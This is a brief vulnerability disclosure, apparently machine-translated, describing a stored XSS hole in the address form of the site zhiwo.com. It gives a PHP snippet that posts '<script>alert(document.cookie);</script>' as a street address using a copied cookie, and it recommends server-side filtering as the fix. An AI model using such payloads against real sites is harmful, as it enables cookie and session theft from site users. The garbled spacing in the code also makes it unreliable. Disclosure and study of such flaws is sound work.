Zhiji pharmaceutical makeup has a storage-type XSS Vulnerability

Poor website Filtering
The personal address is only filtered in js, and csrf is used to construct the post packet directly.
 
$ Url = 'HTTP: // www.zhiwo.com/account/ajax/add/address ';
$ Ref = 'HTTP: // www.zhiwo.com/account/addresses ';
$ Cookies = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'; // copy your cookies
$ Postfield = array (
'Recipient _ name' => 'test ',
'Recipient _ province '=> 'beijing ',
'Recipient _ City' => 'city authority ',
'Recipient _ dist' => 'chaoyang district ',
'Recipient _ Street' => '<script> alert (document. cookie); </script> ',
'Recipient _ zip' => '123 ',
'Recipient _ mobile' => '123'
);
$ Postfield = http_build_query ($ postfield );
$ Result = curlrequest ($ url, $ postfield, $ ref, $ cookies );

 
 
Solution:

Add filter in the background.

Author: taylortai